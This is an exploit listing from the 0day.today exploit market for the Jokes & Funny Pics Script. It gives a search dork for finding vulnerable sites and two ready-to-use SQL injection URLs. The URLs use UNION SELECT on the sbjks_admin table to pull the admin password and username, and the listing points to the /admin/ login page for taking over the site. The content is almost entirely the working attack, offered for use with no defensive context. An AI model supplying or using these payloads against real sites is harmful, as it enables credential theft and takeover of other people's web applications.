[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Jokes & Funny Pics Script (sb_jokeid) SQL Injection Vulnerability

Author
Hussin X
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3292
Category
web applications
Date add
24-06-2008
Platform
unsorted
=================================================================
Jokes & Funny Pics Script (sb_jokeid) SQL Injection Vulnerability
=================================================================



#########################################################
#
#   Jokes & Funny Pics Script  SQL Injection Vulnerability              
#                                               
#========================================================
#    HomE script : http://www.softbizscripts.com
#     
#    Demo : http://www.softbizscripts.com/scripts/jokes  
#    
#    DorK : "index.php?sbjoke_id="

##########################################################

Exploit:   


http://www.site.org/Script/index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10+from+sbjks_admin--


Exploit: 2

index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10,11,12,13+from+sbjks_admin--

Login :

/admin/




#  0day.today [2024-07-07]  #